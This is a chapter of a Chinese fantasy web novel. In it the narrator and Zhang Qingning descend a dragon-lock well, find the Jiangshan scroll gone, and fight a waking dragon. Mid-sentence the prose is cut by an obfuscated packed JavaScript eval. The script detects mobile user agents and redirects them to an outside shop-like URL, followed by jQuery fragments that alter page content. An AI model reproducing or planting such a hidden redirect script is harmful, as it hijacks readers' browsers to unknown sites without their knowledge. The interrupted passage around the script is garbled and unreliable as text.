辛潜把我送回酒店之后就离开了,商肆更是在蓬莱就早早和我道了别。
我回到房间,给关机的手机充上电,开机后第一时间联系了张清宁。
“我回来了,这几天有什么状况吗?”
“哎呦喂祖宗,你可算是有音信了。”张清宁那一阵骚乱,“你在哪儿我马上来找你。”
“酒店。”我想了想,为了避免麻烦,还是直接用化形术把我的长发化成了我原来短发的样子,又找了套常服出来,“出什么事了?”
“三言两语讲不清楚,你等我过来和你细说。”
张清宁半个小时不到就风驰电掣地赶到了酒店。
她今天倒是一反常态,没有穿着她那身半永久校服,而是穿了一件水蓝色T恤搭配一条白色长筒裤,外面披了件黑色马甲。
我随口问道:“怎么不穿校服了?”
“你说我这身啊,”张清宁低头看了看自己的衣服,抬起头来笑着道,“我师姐给我搭的,好看吧?”
“还不错。”我应道,“说说看到底出什么事了?”
张清宁却直接忽略了我的问题,凑过来问我:“你猜师姐为什么要给我搭衣服?”
“……猜不到。”我无语,“快说出什么事了。”
她震惊:“你怎么知道师姐和我表白了?”
我:“……”
谁问你了?
到底谁问你了?
我强忍住翻白眼的冲动叹了口气,“你再不说正事我就要专挑某些美好的深夜让路云睿给你打工作电话了。”
“咳咳,”张清宁调整了一下情绪,“不要这么较真嘛,缓解缓解紧张的气氛,毕竟师姐和我表白是一件……”
我忍住的那个白眼还是翻了出来,打断她:“我还是去找路云睿吧。”
“别别别,”张清宁拽住我,“正事正事,说正事。”
“锁龙井昨天又异动了一次,动静还挺大的,好在龙虎山提早把剑炉搬到公馆了,用剑炉的灵气暂时压制住了锁龙井。现在就等你回来我们两个一起下去看看到底怎么回事了。”
我歪歪头:“剑炉?”
“你别说,我也是第一次知道龙虎山还有这么件宝物。”张清宁道,“据说是很久以前一个前辈为了铸剑所造,可聚天地之灵,但不好控制,所以多年来都被藏在山里。”
“就我们两个下去?”
“不瞒你说,你再不回来我就要一个人下去了。几乎所有锁龙井都同时发生了异动,人手根本分派不过来,我怕给你惹麻烦就没跟路云睿说你不在的事,他的安排是两个人一个井,正好我们管云川公馆这个。”
“多谢。”
还好我回来得及时,锁龙井情况复杂,张清宁要是一个人下去不一定应付得过来。
“那我们现在就出发吧。”
张清宁的司机又把我们送到了云川公馆,和上一次一样的流程,她递给我一个传送水晶,“我们这次主要的任务是探查清楚锁龙井异动的原因和江山卷的状况,别的事情要是来不及可以先不做。”
到了地下,张清宁打开事先准备好的手电筒,照了照地面,“欸,真有壁画啊。我之前来的时候没有啊,这是从哪里冒出来的?”
我也跟着她观察了一会儿地面上的壁画。
有点奇怪。
这些壁画似乎比上一次我看到它们时,刻得更深了一些。
我伸手摸了摸,壁画表面没有一点灰。
“先不管这个。”我收回手,“先去看看江山卷。”
张清宁:“好。”
照着传送水晶的指引,我们很快就找到了存放江山卷的地方。
“江山卷就放在这个石台……怎么回事!”
圆形的炽白光圈照在青色的石台表面,那原本应该摆放着江山卷的地方如今空无一物。
我的心沉了沉。
看来这就是锁龙井集体异动的原因了。
张清宁绕着石台仔仔细细地找了一圈,确保没有漏看任何角落,最后无可奈何地得出结论:江山卷就是不翼而飞了。
还没等她说话,我低声道:“大事不妙了。”
辛潜说过,云川公馆下的这条真龙,主要靠三样东西镇住,如今两件都已离开原位,它离重获自由只有一步之遥,不应该只是异动一阵就消停的。
除非……
它是在等待什么。
比如某个人。
似乎是专门为了回应我心中所想,我们脚下的地面忽然开始剧烈震动起来,空气里转眼间流动起了浓烈的杀气,鳞片与地面摩擦的声音越来越响,传进耳朵里仿佛针扎一般刺激着神经。
我和张清宁对视一眼。
两个人都在对方眼中看到了一长串不带重复的脏话。
我:“我有一个好消息和一个坏消息。”
张清宁果断:“好消息。”
我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317426|198982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“上面是巨兽,我们怎么打,动静再怎么大应该对地面的影响都不会太大。”
“那坏消息呢?”
“上面是巨兽,下面是真龙,我们大概率是出不去了。”
我没有和真龙交过手,但就以我和商肆对战的经验来看,我胜算不大。就算侥幸赢了,也肯定过了传送水晶规定的时间,回不到地面上了。
“不管了,”我稳住身形,“破罐子破摔吧。”
我召出如是观,念出几段符文,脚下隐藏着的锁龙阵的金色阵法慢慢浮现出来。
“这是阵法的三处阵眼之一,”我看向张清宁,“我已经把阵眼解开了,需要你源源不断地往里面输入灵力维持运转。”
“这里交给你了。”我反手握刀,“我要去试试看修复一个阵眼,如果成功的话,这个阵法就还能用。”
我呼出一口气,闭上眼,试图通过传来的摩擦声辨别龙尾的方向,“我会尽量赶在你被吸干之前回来的,拜托了。”
不得不说,辛潜还真是格外未雨绸缪的。
虽然他把温执的剑留给我估计不是预料到了这件事,但他这么做确实给我创造了一条路。
我可以重新用温执的剑加固锁龙阵,修复处于龙尾的阵眼。
我踩在龙身上一路往龙尾飞奔,龙身一直试图通过扭动把我甩下来。龙族保留着海洋种族的特性,龙鳞滑得不可思议,为了防止掉下去,我只好偶尔拿短刀刺进龙身来支撑身形。
虽然这样会换来它更剧烈的挣扎吧。
我本来还以为到了龙尾阵眼会不太好找,但事实并非如此。
温执的剑在龙尾留下了一道空洞洞的口子,一看就是穿透而过的剑伤,即使龙尾在不停地摆动,那道伤口依然十分醒目显眼。
那就只需要把他的剑再插回去,再注入足够的灵力催动就可以了。
我从凤凰翎里召出剑,拿在手里,找准了时机,一跃而起,迅速将剑捅进了那道伤口,顺势一股脑注入了数不清的灵力,将龙尾彻底钉在了地上。
就在我以为可以松一口气时,我听见几声断断续续的“噼里”、“啪啦”,我的手同时一下子失去了支撑力。
温执的剑碎了。
我摔向地面时,看到闪着光的剑刃碎片纷纷扬扬,犹如放慢了十倍的影片一般,往下落。
失去意识前,我脑海里只来得及闪现一句话。
——我真的不会再碰剑了。